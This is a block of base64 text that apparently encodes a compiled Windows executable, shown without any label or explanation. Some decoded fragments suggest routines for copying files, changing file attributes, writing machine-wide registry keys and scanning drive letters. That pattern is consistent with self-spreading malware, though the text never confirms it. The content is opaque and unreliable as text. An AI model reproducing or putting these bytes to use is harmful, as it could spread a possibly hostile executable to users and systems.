VugO2P//i/iNhfT9//9QjYX4/v//UFNTiJ34/v///3UI6PsbAACDxBxPO/uJXQx+Mf91DFbo qtf//1CNhfj+//9Q6D9sAACDxBCFwHUMOX0MdAfHRfwBAAAA/0UMOX0MfM+NhfT9//9QjYX4 /v//UOhRGgAAvhsLQQBTVuiT1///g8QQM/87w4lFDH4oV1boUNf//1CNhfj+//9Q6OVrAACD xBCFwHUHx0X8AQAAAEc7fQx82Dld/HQpagFo8A1BAOge1///i3UIUFboHt///4PEEIXAdQ9W 6I7h//9Z6aIAAACLdQhW6MXf//+L+Fk7+3w1VmjoNkkA6LgZAABZg/8FWX02VmjsN0kA6KYZ AABqAWgA0AcA/zXYM0kAVuiY5///g8QY6xOD/5x1DlNq/2r/Vuh6EgAAg8QQixUYOUkAadIs AQAAgfpYGwAAfhdT6Mfp//9ZM9JqBVn38YPCB2nS6AMAAFL/FSzRQAD/BRg5SQCBPRg5SQAQ JwAAfgaJHRg5SQBqAVhfXlvJw1WL7IHsDAMAAFMz242F9Pz//1NQjYX8/v//UFP/dQjocBoA AIPEFDldDHVtOV0QdT+Nhfz+//9Q6NwZAAA7w1l0B4icBfv+//+Nhfj9//9TUFONhfz+//9T UOg1GgAAjYX4/f//UOh63v//g8QY6w2NhfT8//9Q6Gne//9ZhcB0GGoBaADQBwD/NdgzSQD/ dQjomOb//4PEEGoBWFvJw1ZXi3wkDGoBXmhuCUEAV+iu3f//WYXAWXQlaG0JQQBX6J3d//9Z hcBZdAIz9lZoJ15AAFfoHeD//4PEDGoBWF9ew1WL7IHsDAsAAItFFFNWV/91DDPbiRiNhfT0 //9Q6CYYAACNhfT0//9oRPBAAFDoJRgAAP91EI2F9PT//1DoFhgAAI2F9Pj//2gABAAAUI2F 9PT//1NQaAIAAIDoh+b//42F9Pj//1CNhfz+//9Q6NUXAACDxDSNhfT4//9oBAEAAFCNhfz+ //9Q/xXI0EAAvosJQQBTVugL1f//iUUUjYX0/P//U1BTjYX0+P//U1Do/xgAAIPEHDP/OV0U fitXVuix1P//OBhZWXQTUI2F9Pz//1DoqNz//1mFwFl1Bkc7fRR82jt9FHwkjYX0+P//aCMN QQBQ6Ibc//9ZhcBZdA2NhfT4//9Q6F/4//9ZU42F+P3//1NQjYX8/v//UI2F9Pj//1DoihgA AI2F+P3//1CNhfz+//9Q6BwXAACNhfz+//9Q6Hb+//+DxCBo6AMAAP8VLNFAAGoBWF9eW8nD VYvsgewIAQAAgKX4/v//AI2F+P7//2oBUOhf3P//jUX8UI2F+P7//2gIX0AAUGgCAACA6PPl //+DxBhogO42AP8VLNFAAOvBVYvsg30MAHU0g30QAHUIagX/FSzRQAD/dQjoftz//4XAWXwU g/gDfQ//dQho7DdJAOhsFgAAWVlqAVhdw/91COjT/f//hcBZdAQzwF3DM8A5RRAPlMBdw1WL 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do 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 